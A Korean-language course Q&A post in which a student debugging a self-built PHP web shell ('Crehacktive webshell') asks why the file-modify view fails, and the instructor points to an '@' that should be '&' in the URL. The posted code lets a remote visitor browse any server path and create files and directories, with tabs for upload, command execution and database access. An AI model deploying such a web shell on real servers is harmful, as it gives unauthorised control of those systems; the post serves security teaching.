• 카테고리

    질문 & 답변
  • 세부 분야

    보안

  • 해결 여부

    미해결

fileModify버튼 클릭시 문의

22.07.12 09:22 작성 조회수 190

1

  • 안녕하세요 강사님 <? } else if($mode == "fileModify") { ?>
        <textarea class="form-control" rows="3"></textarea>
      <? } ?> 부분을 추가하여 파일 수정 버튼을 클릭시 textarea 부분이 안생겨 문의 드립니다.
  • 저 부분을 적용 후 해당 버튼 클릭하여 들어가면 위의 else if문이 안먹는건지 저부분을 불러오질 못합니다.(f12로 페이지 소스 확인시 저 위의 부분이 안보임

 

제 소스코드는 아래와 같습니다.

 

<?
    header('Content-Type:text/html; charset=utf-8');
    $mode = $_REQUEST["mode"];
    $path = $_REQUEST["path"];
    $page = basename($_SERVER["PHP_SELF"]);
    $fileName = $_GET["fileName"];
    
    if(empty($path)) {
        $tempFileName = basename(__FILE__);
        $tempPath = realpath(__FILE__);
        $path = str_replace($tempFileName, "", $tempPath );
        $path = str_replace("\\", "/", $path);
    } else {
        $path = realpath($path)."/";
        $path = str_replace("\\", "/", $path);
    }
    
    # Mode Logic
    if ($mode == "fileCreate"){
        if(empty($fileName)){
            echo "<script>alert('파일명이 입력되지 않았습니다.');history.back(-1);</script>";
            exit();
        }
        $fp = fopen($path.$fileName, "w");
        fclose($fp);
        echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}' </script>";
        
    } else if ($mode == "dirCreate"){
        if(empty($fileName)){
            echo "<script>alert('디렉터리명이 입력되지 않았습니다.');history.back(-1);</script>";
            exit();
        }
        $dirPath = $path.$fileName;
        
        if(is_dir($dirPath)){
            echo "<script>alert('해당 디렉터리명이 존재합니다.');history.back(-1);</script>";
            exit();
        }
        
        mkdir($dirPath);
        echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}' </script>";
        
    }
    
    # Directory List Return Function
    function getDirList($getPath) {
        $listArr = array();
        $handler = opendir($getPath);
        while($file = readdir($handler)) {
            if(is_dir($getPath.$file) == "1") {
                $listArr[] = $file;
            }
        }
        closedir($handler);
        return $listArr;
    }
    
    # File List Return Function
    function getFileList($getPath) {
        $listArr = array();
        $handler = opendir($getPath);
        while($file = readdir($handler)) {
            if(is_dir($getPath.$file) != "1") {
                $listArr[] = $file;
            }
        }
        closedir($handler);
        return $listArr;
    }
?>

<!DOCTYPE html>
<html lang="ko">
<head>
    <title>Crehacktive webshell</title>
<!-- 합쳐지고 최소화된 최신 CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">

<!-- 부가적인 테마 -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css">

<!-- 합쳐지고 최소화된 최신 자바스크립트 -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script>    
<script>
    function fileCreate(){
        var fileName = frm.createFileName.value;
        if(!fileName){
            alert("파일명을 입력하세요.");
            return;
        }
        location.href="<?=$page?>?mode=fileCreate&path=<?=$path?>&fileName=" + fileName;
    }
    
    function dirCreate(){
        var fileName = frm.createFileName.value;
        if(!fileName){
            alert("디렉터리명을 입력하세요.");
            return;
        }
        location.href="<?=$page?>?mode=dirCreate&path=<?=$path?>&fileName=" + fileName;
    }
    
    function fileModify(fileName){
        location.href = "<?=$page?>?mode=fileModify@path=<?=$path?>&fileName=" + fileName;
    
    }
</script>
</head>
<body>
<div class="container-fluid">
  <div class="row">
  <div class="col-md-3"></div>
  <div class="col-md-6">
    <h3>WebShell_Test <small>Create by Penta</small></h3>
    <hr>
    <ul class="nav nav-tabs">
    <li role="presentation" <? if(empty($mode) || $mode == "fileBrowser") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li>
    <li role="presentation" <? if($mode == "fileUpload") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileUpload">File Upload</a></li>
    <li role="presentation" <? if($mode == "command") echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execution</a></li>
    <li role="presentation" <? if($mode == "db") echo "class=\"active\"";?>><a href="<?=$page?>?mode=db">DB Connector</a></li>
    <li role="presentation"><a href="<?=$page?>?mode=logout">Logout</a></li>
    </ul>
    <br>
    <? if(empty($mode) || $mode == "fileBrowser") { ?>
    <form action="<?=$page?>?mode=fileBrowser" method="GET" >
        <div class="input-group">
          <span class="input-group-addon">Current Path</span>
          <input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>">
          <span class="input-group-btn">
            <button class="btn btn-default" type="submit">Move</button>
          </span>
        </div>
    </form>
    <hr>
    <div class="table-responsive">
    <table class="table table-bordered table-hover" style="table-layout: fixed; word-break: break-all;">
      <thead>
        <tr class="info">
            <th style="width: 50%" class="text-center">Name</th>
            <th style="width: 14%" class="text-center">Type</th>
            <th style="width: 18%" class="text-center">Date</th>
            <th style="width: 18%" class="text-center">Action</th>
        </tr>
      </thead>
      <tbody> 
        <?
        $dirList = getDirList($path);
        for($i=0; $i<count($dirList); $i++) {
            if($dirList[$i] != ".") {
            $dirDate = date("Y-m-d H:i", filemtime($path.$dirList[$i]));
        ?>
        <tr>
            <td style="vertical-align: middle" class="text-primary"><b><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span>&nbsp;&nbsp;<a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></b></td>
            <td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td>
            <td style="vertical-align: middle" class="text-center"><?=$dirDate?></td>
            <td style="vertical-align: middle" class="text-center">
                <div class="btn-group btn-group-sm" role="group" aria-label="...">
                <? if($dirList[$i] != "..") { ?>
                <button type="button" class="btn btn-warning" title="File Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button>
                </div>
                <? } ?>
            </td>
        </tr>
        <? 
            }
        } 
        ?>
        <?
        $fileList = getFileList($path);
        for($i=0; $i<count($fileList); $i++) {
            $fileDate = date("Y-m-d H:i", filemtime($path.$fileList[$i]));
        ?>
        <tr>
            <td style="vertical-align: middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span>&nbsp;&nbsp;<?=$fileList[$i]?></td>
            <td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td>
            <td style="vertical-align: middle" class="text-center"><?=$fileDate?></td>
            <td style="vertical-align: middle" class="text-center">
                <div class="btn-group btn-group-sm" role="group" aria-label="...">
                <button type="button" class="btn btn-success" title="File Download"><span class="glyphicon glyphicon-download-alt" aria-hidden="true"></span></button>
                <button type="button" class="btn btn-info"title="File Modify" onclick="fileModify('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-refresh" aria-hidden="true"></span></button>
                <button type="button" class="btn btn-warning" title="File Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button>
                </div>
            </td>
        </tr>
        <? } ?>
      </tbody>
    </table>
    </div>
    <hr>
        <form name="frm">
        <div class="input-group">
        <input type="text" class="form-control" placeholder="File/Directory Name Input..." name="createFileName"">
        <span class="input-group-btn">
        <button class="btn btn-default" type="button" onclick="fileCreate()">File Create</button>
        <button class="btn btn-default" type="button" onclick="dirCreate()">Directory Create</button>
        </span>
        </div>
    </form>
    
    <? } else if($mode == "fileModify") { ?>
    <textarea class="form-control" rows="3"></textarea>
    <? } ?>
    
    <hr>
    <p class="text-mute text-center">CopyRight 2022,  Penta,  All Rights reserved. </p>
  </div>
  <div class="col-md-3"></div>
  </div>
</div>
</body>
</html>

답변 1

답변을 작성해보세요.

0

안녕하세요.

104번 라인에 '@' 문자가 아닌 '&' 문자가 들어가야 됩니다.

수정 전 :

    function fileModify(fileName){
        location.href = "<?=$page?>?mode=fileModify@path=<?=$path?>&fileName=" + fileName;

수정 후 : 

    function fileModify(fileName){
        location.href = "<?=$page?>?mode=fileModify&path=<?=$path?>&fileName=" + fileName;